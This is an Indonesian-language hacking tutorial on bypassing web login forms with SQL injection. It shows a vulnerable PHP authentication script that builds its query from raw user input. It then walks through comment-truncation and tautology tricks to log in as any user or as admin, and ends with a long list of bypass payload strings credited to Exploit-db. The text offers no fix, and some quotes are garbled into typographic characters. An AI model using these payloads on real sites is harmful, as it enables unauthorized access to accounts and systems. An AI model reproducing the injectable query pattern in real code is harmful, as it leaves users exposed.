Inti dari penyebab bug ini yaitu terletak pada web programmer tersebut, anggap saja
ada kesalahan logika berpikir atau ketidaktahuaannya dalam membuat website yang aman (safe).
Sekilas tentang SQLi pada Form login :
Kita tahu bahwa Form login itu merupakan gerbang atau pintu masuk yang nantinya akan dibedakan tingkatan pengunjung yang mencoba login, contohnya User biasa ataupun Administrator.
Contoh file login :
----------- login.html --------------------------------------------------------------
<form name="formlogin" method="POST" action="auth.php">
<table>
<tr>
<td>Username</td>
<td>:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>Password</td>
<td>:</td>
<td><input type="Password" name="password"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input type="Submit" name="login" value="Login"></td>
</tr>
</table>
</form>
---------------------------------------------------------------------------------------
Kedua, ada script untuk memvalidasi username dan password yang dimasukkan user.
Misal, namanya adalah auth.php
----------- auth.php ------------------------------------------------------------------
<?php
// bikin koneksi database
if($_POST['login']=="Login"){
$user = $_POST['username']; // ambil username
$pass = md5($_POST['password']); // ambil password lalu jadikan md5
$q = pg_query("SELECT * FROM users WHERE username='$user' AND password='$pass'");
//-- bla bla bla, dan seterusnya --
}
?>
---------------------------------------------------------------------------------------
Selanjutnya, misalkan struktur tabel “users” sebagai berikut:
+----------+------------------------------------+
|u : admin, p : 21232f297a57a5a743894a0e4a801fc3|
+----------+------------------------------------+
|
+----------+--------------------------------------------------------------------------------+
| SELECT * FROM users WHERE username='admin' AND password='21232f297a57a5a743894a0e4a801fc3'|
+-------------------------------------------------------------------------------------------+
Perhatikan, kita fokus pada “password”. Dari proses di atas, kita tahu bahwa setiap password
yang diberikan akan diubah ke dalam bentuk md5, baru kemudian dicocokkan pada data dalam database
user (baca: tabel user). Hal itulah yang akan menjadi teknik yang bisa dibilang sederhana namun begitu mematikan.
Tahap Eksekusi :
Untuk melakukan teknik serangan SQL Injection, seharusnya kita minimal tahu fungsi cara memanggil atau perintah-perintah SQL (SQL Command). Misalnya penggunaan komentar, ada yang menggunakan “–” atau “/**/”. Secara logika, kita bisa melakukan bypass terhadap form login dengan teknik tersebut. sederhana bukan? Misalkan kita masukkan username = ”–‘, dan password dikosongkan.
maka perintah SQL diatas akan berubah menjadi seperti ini:
SELECT * FROM users WHERE username=''--' AND password='d41d8cd98f00b204e9800998ecf8427e'
ket: ‘d41d8cd98f00b204e9800998ecf8427e’ adalah bentuk md5 dari karakter kosong / tidak ada.
Maka, perintah SQL yang akan dieksekusi hanya :
SELECT * FROM users WHERE username=''
Sedangkan sisanya menjadi komentar lantaran ini, ‘–‘. Nah, begitulah ceritanya kenapa kita bisa
menggunakan teknik SQL Injection untuk mem-bybass Form Login.
Selanjutnya, agar kita bisa dikenali sebagai user tertentu, maka perintah SQL kita harus bernilai
TRUE. Jika kita hanya menggunakan string ” ‘– ” (tanpa double kutip), maka kita tidak akan
dikenali oleh sistem karena username ” tidak ada. Untuk itu, kita bisa menambahkan pernyataan
yang bernilai TRUE, misalnya:
‘ or true–
‘ or 1=1–
‘ or ‘a’=’a’–
Di lain pihak, kalau misalnya kita sudah tahu username-nya, namun tidak tahu passwordnya, kita bisa
menggunakan teknik seperti ini:
admin’–
admin’ or true–
admin’ or ‘1’=’1′–
Dengan teknik yang sederhana tersebut, kita bisa menjadi user (atau bahkan administrator) dalam
website tersebut.
Berikut beberapa kode Bypass Lainya :
- ‘ or ‘1’=’1
- ‘ or ‘x’=’x
- ‘ or 0=0 —
- ” or 0=0 —
- or 0=0 —
- ‘ or 0=0 #
- ” or 0=0 #
- or 0=0 #
- ‘ or ‘x’=’x
- ” or “x”=”x
- ‘) or (‘x’=’x
- ‘ or 1=1–
- ” or 1=1–
- or 1=1–
- ‘ or a=a–
- ” or “a”=”a
- ‘) or (‘a’=’a
- “) or (“a”=”a
- hi” or “a”=”a
- hi” or 1=1 —
- hi’ or 1=1 —
- ‘or’1=1’
- ==
- and 1=1–
- and 1=1
- ‘ or ‘one’=’one–
- ‘ or ‘one’=’one
- ‘ and ‘one’=’one
- ‘ and ‘one’=’one–
- 1′) and ‘1’=’1–
- admin’ —
- admin’ #admin’/*
- or 1=1–
- or 1=1#
- or 1=1/*
- ) or ‘1’=’1–
- ) or (‘1’=’1–
- ‘ or ‘1’=’1
- ‘ or ‘x’=’x
- ‘ or 1=1 limit 1 — -+
- ‘=”or’
Source : Exploit-db